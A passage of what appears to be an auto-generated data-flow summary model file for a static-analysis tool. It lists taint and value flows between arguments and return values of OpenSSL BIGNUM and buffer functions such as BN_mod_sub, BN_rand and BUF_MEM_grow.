["", "", True, "BN_mod_lshift1_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*0]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_mod_lshift1_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_lshift1_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_mod_lshift1_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_mod_lshift", "(BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_mod_lshift", "(BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *)", "", "Argument[*1].Field[*neg]", "Argument[*0].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "BN_mod_lshift", "(BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *)", "", "Argument[*1].Field[*neg]", "Argument[*3].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "BN_mod_lshift", "(BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_mod_lshift_quick", "(BIGNUM *,const BIGNUM *,int,const BIGNUM *)", "", "Argument[*0]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_mod_lshift_quick", "(BIGNUM *,const BIGNUM *,int,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_lshift_quick", "(BIGNUM *,const BIGNUM *,int,const BIGNUM *)", "", "Argument[*1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_lshift_quick", "(BIGNUM *,const BIGNUM *,int,const BIGNUM *)", "", "Argument[*3]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_mod_lshift_quick", "(BIGNUM *,const BIGNUM *,int,const BIGNUM *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_lshift_quick", "(BIGNUM *,const BIGNUM *,int,const BIGNUM *)", "", "Argument[2]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_mod_mul", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_mod_mul_montgomery", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul_montgomery", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul_montgomery", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul_montgomery", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul_montgomery", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul_reciprocal", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul_reciprocal", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul_reciprocal", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul_reciprocal", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul_reciprocal", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul_reciprocal", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_mul_reciprocal", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_sqr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_sqr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_sqr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_sqrt", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_mod_sqrt", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_mod_sub", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_mod_sub", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_sub", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_mod_sub", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_sub", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_sub", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_mod_sub", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_sub", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_mod_sub_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*0]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_mod_sub_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_sub_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_mod_sub_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_sub_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_sub_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_mod_sub_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_sub_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*3]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_mod_word", "(const BIGNUM *,unsigned long)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_mpi2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_mpi2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_mul", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mul", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_mul", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mul", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mul", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_native2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*0]", "Argument[*2].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_native2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*0]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_native2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_native2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[0]", "Argument[*2].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_native2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[0]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_native2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_nist_mod_192", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_nist_mod_192", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_nist_mod_224", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_nist_mod_224", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_nist_mod_256", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_nist_mod_256", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_nist_mod_384", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_nist_mod_384", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_nist_mod_521", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_nist_mod_521", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_nnmod", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_nnmod", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1].Field[*neg]", "Argument[*0].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "BN_nnmod", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1].Field[*neg]", "Argument[*2].Field[*neg]", "value", "dfc-generated"] + - ["", "", True, "BN_nnmod", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_num_bits", "(const BIGNUM *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "BN_num_bits_word", "(unsigned long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_priv_rand", "(BIGNUM *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_priv_rand", "(BIGNUM *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_priv_rand", "(BIGNUM *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_priv_rand_ex", "(BIGNUM *,int,int,int,unsigned int,BN_CTX *)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_priv_rand_ex", "(BIGNUM *,int,int,int,unsigned int,BN_CTX *)", "", "Argument[1]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_priv_rand_ex", "(BIGNUM *,int,int,int,unsigned int,BN_CTX *)", "", "Argument[1]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_priv_rand_range", "(BIGNUM *,const BIGNUM *)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_priv_rand_range", "(BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_priv_rand_range_ex", "(BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_priv_rand_range_ex", "(BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_pseudo_rand", "(BIGNUM *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_pseudo_rand", "(BIGNUM *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_pseudo_rand", "(BIGNUM *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_pseudo_rand_range", "(BIGNUM *,const BIGNUM *)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_pseudo_rand_range", "(BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_rand", "(BIGNUM *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_rand", "(BIGNUM *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_rand", "(BIGNUM *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_rand_ex", "(BIGNUM *,int,int,int,unsigned int,BN_CTX *)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_rand_ex", "(BIGNUM *,int,int,int,unsigned int,BN_CTX *)", "", "Argument[1]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_rand_ex", "(BIGNUM *,int,int,int,unsigned int,BN_CTX *)", "", "Argument[1]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_rand_range", "(BIGNUM *,const BIGNUM *)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_rand_range", "(BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_rand_range_ex", "(BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_rand_range_ex", "(BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_reciprocal", "(BIGNUM *,const BIGNUM *,int,BN_CTX *)", "", "Argument[2]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_reciprocal", "(BIGNUM *,const BIGNUM *,int,BN_CTX *)", "", "Argument[2]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_reciprocal", "(BIGNUM *,const BIGNUM *,int,BN_CTX *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_rshift1", "(BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_rshift", "(BIGNUM *,const BIGNUM *,int)", "", "Argument[2]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_rshift", "(BIGNUM *,const BIGNUM *,int)", "", "Argument[2]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_security_bits", "(int,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_set_bit", "(BIGNUM *,int)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_set_bit", "(BIGNUM *,int)", "", "Argument[1]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_set_bit", "(BIGNUM *,int)", "", "Argument[1]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_set_flags", "(BIGNUM *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "BN_set_word", "(BIGNUM *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[**d]", "value", "dfc-generated"] + - ["", "", True, "BN_signed_bin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*0]", "Argument[*2].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*0]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_signed_bin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[0]", "Argument[*2].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[0]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_signed_bn2bin", "(const BIGNUM *,unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bn2bin", "(const BIGNUM *,unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bn2bin", "(const BIGNUM *,unsigned char *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bn2bin", "(const BIGNUM *,unsigned char *,int)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_signed_bn2lebin", "(const BIGNUM *,unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bn2lebin", "(const BIGNUM *,unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bn2lebin", "(const BIGNUM *,unsigned char *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bn2lebin", "(const BIGNUM *,unsigned char *,int)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_signed_bn2native", "(const BIGNUM *,unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bn2native", "(const BIGNUM *,unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bn2native", "(const BIGNUM *,unsigned char *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_bn2native", "(const BIGNUM *,unsigned char *,int)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_signed_lebin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*0]", "Argument[*2].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_lebin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*0]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_lebin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_signed_lebin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[0]", "Argument[*2].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_lebin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[0]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_lebin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_signed_native2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*0]", "Argument[*2].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_native2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*0]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_native2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_signed_native2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[0]", "Argument[*2].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_native2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[0]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_signed_native2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_sqr", "(BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_sqr", "(BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_sub", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_sub", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_sub", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_sub", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_sub_word", "(BIGNUM *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_swap", "(BIGNUM *,BIGNUM *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_swap", "(BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_to_ASN1_ENUMERATED", "(const BIGNUM *,ASN1_ENUMERATED *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_to_ASN1_ENUMERATED", "(const BIGNUM *,ASN1_ENUMERATED *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_to_ASN1_INTEGER", "(const BIGNUM *,ASN1_INTEGER *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_to_ASN1_INTEGER", "(const BIGNUM *,ASN1_INTEGER *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_to_montgomery", "(BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_to_montgomery", "(BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_to_montgomery", "(BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_to_montgomery", "(BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_uadd", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_uadd", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_uadd", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_uadd", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_ucmp", "(const BIGNUM *,const BIGNUM *)", "", "Argument[*0].Field[*top]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_ucmp", "(const BIGNUM *,const BIGNUM *)", "", "Argument[*1].Field[*top]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_usub", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1].Field[*top]", "Argument[*0].Field[*dmax]", "value", "dfc-generated"] + - ["", "", True, "BN_usub", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1].Field[*top]", "Argument[*0].Field[*top]", "value", "dfc-generated"] + - ["", "", True, "BN_with_flags", "(BIGNUM *,const BIGNUM *,int)", "", "Argument[2]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "BUF_MEM_grow", "(BUF_MEM *,size_t)", "", "Argument[1]", "Argument[*0].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "BUF_MEM_grow", "(BUF_MEM *,size_t)", "", "Argument[1]", "Argument[*0].Field[*max]", "taint", "dfc-generated"] + - ["", "", True, "BUF_MEM_grow", "(BUF_MEM *,size_t)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BUF_MEM_grow_clean", "(BUF_MEM *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BUF_MEM_grow_clean", "(BUF_MEM *,size_t)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "BUF_MEM_new_ex", "(unsigned long)", "", "Argument[0]", "ReturnValue[*].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "BUF_reverse", "(unsigned char *,const unsigned char *,size_t)", "", "Argument[*1]", 